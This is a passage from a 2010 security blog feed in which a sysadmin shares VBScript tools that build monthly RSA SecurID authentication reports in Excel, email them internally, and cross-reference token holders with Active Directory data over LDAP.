&lt;/span&gt;.Font.Bold = TRUE&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;With pivotSheet.Range("A" &amp;amp; row &amp;amp; ":" &amp;amp; col &amp;amp; row)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Interior.ColorIndex = 44&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;With pivotSheet.Range(col &amp;amp; "9:" &amp;amp; col &amp;amp; row)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;.Interior.ColorIndex = 44&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;End With&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Wscript.echo "Saving..."&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;objXRep.DisplayAlerts = False&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;objXRep.Workbooks(1).SaveAs "D:\Ace\utils\tcl\BIN\Auths\RSA_Auth_Report.xls", -4143&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;objXRep.Workbooks(1).Close&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;set mySheet = nothing&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;objXRep.Quit&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Set objXRep= Nothing&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;End Function&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Function SendReport&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;strFrom = &lt;redacted&gt;&lt;/redacted&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;strTo = &lt;redacted&gt;&lt;/redacted&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;strSub = Date &amp;amp; " - " &amp;amp; ": Monthly Authentication Report"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;strSMTP = &lt;redacted&gt;&lt;/redacted&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;strBody = "Attached is the Monthly RSA SecurID Authentication Report."&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;strAttachment = Replace(WScript.ScriptFullName, WScript.ScriptName, "RSA_Auth_Report.xls")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;set objEmail = CreateObject("CDO.Message")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;objEmail.From = strFrom&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;objEmail.To = strTo&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;objEmail.Subject = strSub&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;objEmail.Textbody = strBody&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;objEmail.AddAttachment(strAttachment)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = strSMTP&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;objEmail.Configuration.Fields.Update&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;objEmail.Send&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Set ObjFS = CreateObject("Scripting.FilesystemObject")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;'objFS.Deletefile "auths.csv"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;'objFS.Deletefile "Auth_Report.csv"&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;End function&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Function Query (strUser)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Set rs = CreateObject("adodb.recordset")&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Connstring = "Provider=ADsDSOObject"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;strSQL = "SELECT distinguishedName,physicalDeliveryOfficeName,Company,Department,extensionAttribute7 FROM 'LDAP://dc=int,dc=dir,dc=willis,dc=com' WHERE objectCategory='user' AND sAMAccountName='" &amp;amp; strUser &amp;amp; "'"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;rs.Open strSQL, Connstring&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Set objUser = CreateObject("Scripting.Dictionary")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;if not rs.eof and not rs.bof Then&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;objUser.Add "Login" , strUser&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strDN= rs("distinguishedName")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;set regExDN = New RegExp&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;regExDN.Pattern = "OU=iTrash"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;regExDN.Global = True&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;regExDN.IgnoreCase = True&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;If regExDN.Test(strDN)=TRUE then&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;CountryOU= "iTrash"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Else&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;regExDN.Pattern = "OU=\w+,OU=iResources"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;Set OUMatch= regExDN.Execute(strDN)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;strOU = OUMatch.Item(0).Value&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;regExDN.Pattern = ",OU=iResources"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;strOU = RegExDN.Replace(strOU,"")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;regExDN.Pattern = "OU="&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;strOU = RegExDN.Replace(strOU,"")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;CountryOU= strOU&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;end if&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;company = rs("Company").Value&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;department = rs("Department").Value&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;office = &amp;nbsp;rs("physicalDeliveryOfficeName").Value&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;office = replace(office,","," ")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;company = replace(company,","," ")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;department = replace(department,","," ")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;objUser.Add "Country" , CountryOU&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;objUser.Add "Office" , office&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;objUser.Add "Company", company&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;objUser.Add "Department", department&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;If (rs("extensionAttribute7")="Information Technology") then&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;objUser.Add "IsIT", "TRUE"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;else&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;objUser.Add "IsIT", "FALSE"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;end if&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Set Query= objUser&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Else&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Wscript.echo "Username " &amp;amp; strUser &amp;amp; " not found"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;objUser.Add "Abort", "Username not found"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Set Query= objUser&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;End if&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;End Function&lt;/div&gt;&lt;div&gt;---------------------------------------------------------------------------------&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Again, there are some highly specific things built in here, but you could easily change these to suit your needs. Also, it is heavily&amp;nbsp;dependent&amp;nbsp;on Excel to work. I have this setup on our primary ACE server as a monthly job that runs so I can get usage data at the end of each month.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-2422244237836477053?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/2422244237836477053/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/02/rsa-securid-monthly-successful.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2422244237836477053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2422244237836477053'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/02/rsa-securid-monthly-successful.html' title='RSA SecurID Monthly Successful Authentication Script'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-79897977516842962</id><published>2010-02-25T12:04:00.000-08:00</published><updated>2010-02-25T12:25:42.055-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SecurID'/><category scheme='http://www.blogger.com/atom/ns#' term='RSA'/><category scheme='http://www.blogger.com/atom/ns#' term='VBS'/><category scheme='http://www.blogger.com/atom/ns#' term='reporting'/><category scheme='http://www.blogger.com/atom/ns#' term='scripting'/><title type='text'>RSA SecurID - Active Directory Cross-Reference Script</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Well, I'm not starting out with one of the big planned posts after all. I decided to start out with a couple of posts on some old work I've done. I had found myself spending a lot of times running reports out of our SecurID system, and there were a lot of requests along the lines of "Show me all the people in office X that have an active SecurID". The solution I came up with is a two step process.&lt;br /&gt;&lt;br /&gt;Step 1: Run the initial query in the RSA Ace Administration console&lt;br /&gt;I wrote a query to show me specific details out of the server about all users with enabled tokens, including the date the token expires and the date and time they last logged in. That query looks like this:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;SELECT chDefaultLogin,chLastName,chFirstName,chSerialNum,iType,dateDeath,dateLastLogin,todLastLogin from SDUser JOIN SDToken on SDUser.iUserNum=SDToken.iUserNum WHERE SDToken.bEnabled=TRUE&lt;/blockquote&gt;It is then set to output to CSV with CSV headers. I save mine to a pre-defined location on my c-drive, the script below could be altered for any location, or could easily be altered to do a dynamic location. I just never got around to making that enhancement&lt;br /&gt;&lt;br /&gt;Step 2: Run the VBS script. When the file open dialog appears, select the CSV file RSA output. It will then process the CSV file, making calls to the local Domain Controller to lookup each user and retrieve their data. The script still has some kinks in it that I haven't gotten around to fixing but it works pretty well for what we need. The script looks like this:&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;On Error Resume Next&lt;/div&gt;&lt;div&gt;strDistName=""&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Set ObjFSO = CreateObject("UserAccounts.CommonDialog")&amp;nbsp;&lt;/div&gt;&lt;div&gt;ObjFSO.Filter = "Comma-Seperated Values|*.csv|Excel Spreadsheets|*.xls|All Files|*.*"&amp;nbsp;&lt;/div&gt;&lt;div&gt;ObjFSO.InitialDir = "c:\"&amp;nbsp;&lt;/div&gt;&lt;div&gt;InitFSO = ObjFSO.ShowOpen&lt;/div&gt;&lt;div&gt;If InitFSO = False Then&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Wscript.Echo "Script Error: Please select a file!"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Wscript.Quit&lt;/div&gt;&lt;div&gt;end if&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Wscript.Echo "Querying Report...."&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Set objXRep=CreateObject("Excel.Application")&lt;/div&gt;&lt;div&gt;objXrep.Workbooks.open ObjFSO.FileName , true, true&lt;/div&gt;&lt;div&gt;Set currentworksheet = objXRep.ActiveWorkbook.Worksheets(1)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;usedColumnsCount = currentWorkSheet.UsedRange.Columns.Count&lt;/div&gt;&lt;div&gt;usedRowsCount = currentWorkSheet.UsedRange.Rows.Count&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Set Cells = currentWorksheet.Cells&lt;/div&gt;&lt;div&gt;Cells(1,9).Value="Country_Ou"&lt;/div&gt;&lt;div&gt;Cells(1,10).Value="Office"&lt;/div&gt;&lt;div&gt;Cells(1,11).Value="Comapany"&lt;/div&gt;&lt;div&gt;Cells(1,12).Value="Department"&lt;/div&gt;&lt;div&gt;Cells(1,13).Value="Status"&lt;/div&gt;&lt;div&gt;Cells(1,14).Value="IS_IT?"&lt;/div&gt;&lt;div&gt;Cells(1,15).Value="Email"&lt;/div&gt;&lt;div&gt;Cells(1,16).Value="DN"&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Set objUsers = CreateObject("Scripting.Dictionary")&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For intCellCount=2 to usedRowsCount&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;user1 = Cells(intCellCount,1).value&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;If objUsers.Exists(user1)=False then&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;objUsers.Add user1, Query(user1)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;end if&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;if objUsers(user1).Exists("Abort") then&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;country="N/A"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;office="N/A"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;company="N/A"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;department="N/A"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;isIT="N/A"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;status="N/A"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;email="N/A"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;else&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;country = objUsers.Item(user1).Item("Country")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;office = objUsers.Item(user1).Item("Office")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;company = objUsers.Item(user1).Item("Company")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;department = objUsers.Item(user1).Item("Department")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;isIT = objUsers.Item(user1).Item("IsIT")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;status = objUsers.Item(user1).Item("Status")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;email= objUsers.Item(user1).Item("Email")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;strDN=onjUsers.Item(user1).Item("DN")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;end if&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Cells(intCellCount,9).Value=country&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Cells(intCellCount,10).Value=office&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Cells(intCellCount,11).Value=company&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Cells(intCellCount,12).Value=Department&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Cells(intCellCount,13).Value=Status&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Cells(intCellCount,14).Value=isIT&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Cells(intCellCount,15).Value=email&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Cells(intCellCount,16).Value=strDN&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;Next&lt;/div&gt;&lt;div&gt;Wscript.Echo "closing down.."&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;objXRep.DisplayAlerts = False&lt;/div&gt;&lt;div&gt;objXRep.Workbooks(1).SaveAs "C:\dat\RSA_Token_Report.xls", -4143&lt;/div&gt;&lt;div&gt;objXRep.workbooks(1).Close&lt;/div&gt;&lt;div&gt;Set currentWorkSheet = Nothing&lt;/div&gt;&lt;div&gt;objXRep.Quit&lt;/div&gt;&lt;div&gt;Set objXRep= Nothing&lt;/div&gt;&lt;div&gt;Wscript.echo "Done!"&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Function Query (strUser)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Set rs = CreateObject("adodb.recordset")&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Connstring = "Provider=ADsDSOObject"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;strSQL = "SELECT distinguishedName,physicalDeliveryOfficeName,Company,Department,extensionAttribute7,mail,userAccountControl FROM 'LDAP://dc=int,dc=dir,dc=willis,dc=com' WHERE objectCategory='user' AND sAMAccountName='" &amp;amp; strUser &amp;amp; "'"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;rs.Open strSQL, Connstring&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Set objUser = CreateObject("Scripting.Dictionary")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;if not rs.eof and not rs.bof Then&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;objUser.Add "Login" , strUser&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strDN= rs("distinguishedName")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;set regExDN = New RegExp&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;regExDN.Pattern = "OU=iTrash"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;regExDN.Global = True&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;regExDN.IgnoreCase = True&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;If regExDN.Test(strDN)=TRUE then&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;CountryOU= "iTrash"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Else&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;regExDN.Pattern = "OU=\w+,OU=iResources"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;Set OUMatch= regExDN.Execute(strDN)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;strOU = OUMatch.Item(0).Value&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;regExDN.Pattern = ",OU=iResources"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: 